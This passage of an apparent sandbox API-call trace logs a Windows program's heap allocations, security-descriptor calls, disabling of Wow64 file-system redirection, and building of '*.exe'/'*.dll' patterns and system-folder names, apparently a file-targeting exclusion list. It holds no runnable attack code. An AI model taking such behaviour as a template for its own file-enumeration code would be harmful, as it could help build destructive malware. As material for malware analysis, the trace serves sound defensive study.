(HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b0048) returned 1 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3b960 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3b9e8 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c550 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ba70 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3baf8 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c478 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bb80 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c430 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x5000) returned 0x9b0048 [0241.563] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3e8 [0241.563] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c3e8) returned 1 [0241.563] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0241.575] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b0048) returned 1 [0241.575] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x8c83d8, lpbSaclPresent=0x4ef560, pSacl=0x4ef5b4, lpbSaclDefaulted=0x4ef560 | out: lpbSaclPresent=0x4ef560, pSacl=0x4ef5b4, lpbSaclDefaulted=0x4ef560) returned 1 [0241.575] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3e8 [0241.575] CreateEventA (lpEventAttributes=0x4ef5a8, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0241.575] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c3e8) returned 1 [0241.575] GetLastError () returned 0x0 [0241.575] LocalFree (hMem=0x8c83d8) returned 0x0 [0241.575] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3e8 [0241.575] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x5000) returned 0x9b0048 [0241.575] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3a0 [0241.575] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c3a0) returned 1 [0241.575] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0241.576] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b0048) returned 1 [0241.576] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x8c83d8, lpbSaclPresent=0x4ef560, pSacl=0x4ef5b4, lpbSaclDefaulted=0x4ef560 | out: lpbSaclPresent=0x4ef560, pSacl=0x4ef5b4, lpbSaclDefaulted=0x4ef560) returned 1 [0241.576] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3a0 [0241.576] CreateEventA (lpEventAttributes=0x4ef5a8, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0241.576] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c3a0) returned 1 [0241.576] GetLastError () returned 0x0 [0241.576] LocalFree (hMem=0x8c83d8) returned 0x0 [0241.576] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3a0 [0241.576] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x5000) returned 0x9b0048 [0241.576] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c358 [0241.576] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c358) returned 1 [0241.576] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0241.577] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b0048) returned 1 [0241.577] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x8c83d8, lpbSaclPresent=0x4ef560, pSacl=0x4ef5b4, lpbSaclDefaulted=0x4ef560 | out: lpbSaclPresent=0x4ef560, pSacl=0x4ef5b4, lpbSaclDefaulted=0x4ef560) returned 1 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c358 [0241.577] CreateEventA (lpEventAttributes=0x4ef5a8, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0241.577] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c358) returned 1 [0241.577] GetLastError () returned 0x0 [0241.577] LocalFree (hMem=0x8c83d8) returned 0x0 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x2800) returned 0x9b0048 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc08 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c358 [0241.577] Wow64DisableWow64FsRedirection (in: OldValue=0x4ef5dc | out: OldValue=0x4ef5dc*=0x0) returned 1 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x2800) returned 0x9b2850 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.577] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d670 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d360 [0241.577] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c280) returned 1 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d360) returned 1 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d670) returned 1 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b2850) returned 1 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x2800) returned 0x9b2850 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d670 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d360 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d350 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d688 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d340 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c238 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d330 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1f0 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c280) returned 1 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d360) returned 1 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d350) returned 1 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d670) returned 1 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.578] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.578] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d670 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d350 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d360 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c238) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d340) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1f0) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d330) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d688) returned 1 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d688 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d330 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1f0 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d340 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c238 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d350) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c280) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d360) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d670) returned 1 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d670 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d360 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d350 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1f0) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d330) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c238) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d340) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d688) returned 1 [0241.579] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b2850) returned 1 [0241.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c280, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3da58 [0241.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c280, cbMultiByte=5, lpWideCharStr=0xb3da58, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0241.579] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3dae0 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3da58) returned 1 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d688 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d340 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3da58 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3dae0) returned 1 [0241.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c310, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3dae0 [0241.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c310, cbMultiByte=5, lpWideCharStr=0xb3dae0, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3db68 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3dae0) returned 1 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d330 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3dae0 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3db68) returned 1 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c280) returned 1 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d360) returned 1 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d350) returned 1 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d670) returned 1 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x2800) returned 0x9b2850 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d670 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d350 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d360 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c238 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d320 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1f0 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d310 [0241.580] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.580] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x20) returned 0xb3bc90 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d670) returned 1 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d300 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c2c8 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2f0 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2e0 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x20) returned 0x9b5058 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2d0 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c670 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2c0 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c6b8 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2b0 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c700 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2a0 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c748 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d290 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c790 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d270 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c7d8 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d280 [0241.581] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c820 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c280) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d350) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c238) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d360) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1f0) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d320) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d310) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c2c8) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d300) returned 1 [0241.581] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d2f0) returned 1 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d2e0) returned 1 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc90) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d670 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2e0 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2f0 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d300 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c2c8 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d310 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x20) returned 0xb3bc90 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d670) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d320 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1f0 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d360 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c238 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d350 [0241.582] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c670) returned 1 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d2d0) returned 1 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c6b8) returned 1 [0241.582] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d2c0) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c700) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d2b0) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c748) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d2a0) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c790) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d290) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c7d8) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d270) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c820) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d280) returned 1 [0241.583] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b5058) returned 1 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c280, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c280, cbMultiByte=25, lpWideCharStr=0xb3db68, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c238, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c238, cbMultiByte=12, lpWideCharStr=0xb3dbf0, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c1f0, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c1f0, cbMultiByte=8, lpWideCharStr=0xb3dc78, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c1a8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c1a8, cbMultiByte=6, lpWideCharStr=0xb3dd00, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0241.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c2c8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0241.583] MultiByteToWideChar (in: 